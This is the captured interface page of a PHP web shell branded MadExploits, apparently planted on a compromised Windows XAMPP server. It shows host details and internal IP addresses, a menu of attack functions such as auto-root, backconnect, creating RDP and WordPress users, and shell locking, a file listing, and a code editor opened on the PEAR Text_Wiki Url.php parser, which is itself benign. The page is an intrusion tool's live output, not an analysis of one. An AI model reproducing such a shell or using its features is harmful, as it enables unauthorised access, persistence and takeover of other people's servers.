Windows NT DGPENSV2LPKMN 10.0 build 14393 (Windows Server 2016) AMD64
Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.3.25
: 172.16.0.66 | : 172.16.0.254
Cant Read [ /etc/named.conf ]
7.3.25
SYSTEM
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
[ A ]
[ C ]
[ D ]
C: /
xampp7 /
php /
pear /
Text /
Wiki /
Parse /
Default /
[ HOME SHELL ]
Name
Size
Permission
Action
Anchor.php
1.73
KB
-rw-rw-rw-
Blockquote.php
4.7
KB
-rw-rw-rw-
Bold.php
1.69
KB
-rw-rw-rw-
Break.php
1.18
KB
-rw-rw-rw-
Center.php
1.4
KB
-rw-rw-rw-
Code.php
2.31
KB
-rw-rw-rw-
Colortext.php
1.7
KB
-rw-rw-rw-
Deflist.php
3.31
KB
-rw-rw-rw-
Delimiter.php
1.77
KB
-rw-rw-rw-
Embed.php
2.32
KB
-rw-rw-rw-
Emphasis.php
1.77
KB
-rw-rw-rw-
Freelink.php
4.31
KB
-rw-rw-rw-
Function.php
3.64
KB
-rw-rw-rw-
Heading.php
2.38
KB
-rw-rw-rw-
Horiz.php
1.2
KB
-rw-rw-rw-
Html.php
1.5
KB
-rw-rw-rw-
Image.php
3.34
KB
-rw-rw-rw-
Include.php
2.16
KB
-rw-rw-rw-
Interwiki.php
3.15
KB
-rw-rw-rw-
Italic.php
1.76
KB
-rw-rw-rw-
List.php
8.17
KB
-rw-rw-rw-
Newline.php
1.37
KB
-rw-rw-rw-
Paragraph.php
2.58
KB
-rw-rw-rw-
Phplookup.php
1.39
KB
-rw-rw-rw-
Prefilter.php
2.05
KB
-rw-rw-rw-
Raw.php
1.36
KB
-rw-rw-rw-
Revise.php
3.28
KB
-rw-rw-rw-
Smiley.php
5.94
KB
-rw-rw-rw-
Strong.php
1.78
KB
-rw-rw-rw-
Subscript.php
1.48
KB
-rw-rw-rw-
Superscript.php
1.49
KB
-rw-rw-rw-
Table.php
6.64
KB
-rw-rw-rw-
Tighten.php
689
B
-rw-rw-rw-
Toc.php
2.83
KB
-rw-rw-rw-
Tt.php
1.6
KB
-rw-rw-rw-
Underline.php
1.7
KB
-rw-rw-rw-
Url.php
6.91
KB
-rw-rw-rw-
Wikilink.php
5.11
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Url.php
<?php /** * * Parse for URLS in the source text. * * @category Text * * @package Text_Wiki * * @author Paul M. Jones <pmjones@php.net> * * @license LGPL * * @version $Id: Url.php 293784 2010-01-20 18:48:09Z justinpatrin $ * */ /** * * Parse for URLS in the source text. * * Various URL markings are supported: inline (the URL by itself), * numbered or footnote reference (where the URL is enclosed in square * brackets), and named reference (where the URL is enclosed in square * brackets and has a name included inside the brackets). E.g.: * * inline -- http://example.com * numbered -- [http://example.com] * described -- [http://example.com Example Description] * * When rendering a URL token, this will convert URLs pointing to a .gif, * .jpg, or .png image into an inline <img /> tag (for the 'xhtml' * format). * * Token options are: * * 'type' => ['inline'|'footnote'|'descr'] the type of URL * * 'href' => the URL link href portion * * 'text' => the displayed text of the URL link * * @category Text * * @package Text_Wiki * * @author Paul M. Jones <pmjones@php.net> * */ class Text_Wiki_Parse_Url extends Text_Wiki_Parse { /** * * Keeps a running count of numbered-reference URLs. * * @access public * * @var int * */ var $footnoteCount = 0; /** * * URL schemes recognized by this rule. * * @access public * * @var array * */ var $conf = array( 'schemes' => array( 'http://', 'https://', 'ftp://', 'gopher://', 'news://', 'mailto:' ) ); /** * * Constructor. * * We override the constructor so we can comment the regex nicely. * * @access public * */ function Text_Wiki_Parse_Url(&$obj) { parent::Text_Wiki_Parse($obj); // convert the list of recognized schemes to a regex-safe string, // where the pattern delim is a slash $tmp = array(); $list = $this->getConf('schemes', array()); foreach ($list as $val) { $tmp[] = preg_quote($val, '/'); } $schemes = implode('|', $tmp); // build the regex $this->regex = "($schemes)" . // allowed schemes "(" . // start pattern "[^ \\/\"\'{$this->wiki->delim}]*\\/" . // no spaces, backslashes, slashes, double-quotes, single quotes, or delimiters; ")*" . // end pattern "[^ \\t\\n\\/\"\'{$this->wiki->delim}]*" . "[A-Za-z0-9\\/?=&~_#]"; } /** * * Find three different kinds of URLs in the source text. * * @access public * */ function parse() { // ------------------------------------------------------------- // // Described-reference (named) URLs. // // the regular expression for this kind of URL $tmp_regex = '/\[(' . $this->regex . ') ([^\]]+)\]/'; // use a custom callback processing method to generate // the replacement text for matches. $this->wiki->source = preg_replace_callback( $tmp_regex, array(&$this, 'processDescr'), $this->wiki->source ); // ------------------------------------------------------------- // // Numbered-reference (footnote-style) URLs. // // the regular expression for this kind of URL $tmp_regex = '/\[(' . $this->regex . ')\]/U'; // use a custom callback processing method to generate // the replacement text for matches. $this->wiki->source = preg_replace_callback( $tmp_regex, array(&$this, 'processFootnote'), $this->wiki->source ); // ------------------------------------------------------------- // // Normal inline URLs. // // the regular expression for this kind of URL $tmp_regex = '/(^|[^A-Za-z])(' . $this->regex . ')(.*?)/'; // use the standard callback for inline URLs $this->wiki->source = preg_replace_callback( $tmp_regex, array(&$this, 'process'), $this->wiki->source ); } /** * * Process inline URLs. * * @param array &$matches * * @param array $matches An array of matches from the parse() method * as generated by preg_replace_callback. $matches[0] is the full * matched string, $matches[1] is the first matched pattern, * $matches[2] is the second matched pattern, and so on. * * @return string The processed text replacement. * */ function process(&$matches) { // set options $options = array( 'type' => 'inline', 'href' => $matches[2], 'text' => $matches[2] ); // tokenize return $matches[1] . $this->wiki->addToken($this->rule, $options) . $matches[5]; } /** * * Process numbered (footnote) URLs. * * Token options are: * @param array &$matches * * @param array $matches An array of matches from the parse() method * as generated by preg_replace_callback. $matches[0] is the full * matched string, $matches[1] is the first matched pattern, * $matches[2] is the second matched pattern, and so on. * * @return string The processed text replacement. * */ function processFootnote(&$matches) { // keep a running count for footnotes $this->footnoteCount++; // set options $options = array( 'type' => 'footnote', 'href' => $matches[1], 'text' => $this->footnoteCount ); // tokenize return $this->wiki->addToken($this->rule, $options); } /** * * Process described-reference (named-reference) URLs. * * Token options are: * 'type' => ['inline'|'footnote'|'descr'] the type of URL * 'href' => the URL link href portion * 'text' => the displayed text of the URL link * * @param array &$matches * * @param array $matches An array of matches from the parse() method * as generated by preg_replace_callback. $matches[0] is the full * matched string, $matches[1] is the first matched pattern, * $matches[2] is the second matched pattern, and so on. * * @return string The processed text replacement. * */ function processDescr(&$matches) { // set options $options = array( 'type' => 'descr', 'href' => $matches[1], 'text' => $matches[4] ); // tokenize return $this->wiki->addToken($this->rule, $options); } } ?>
Close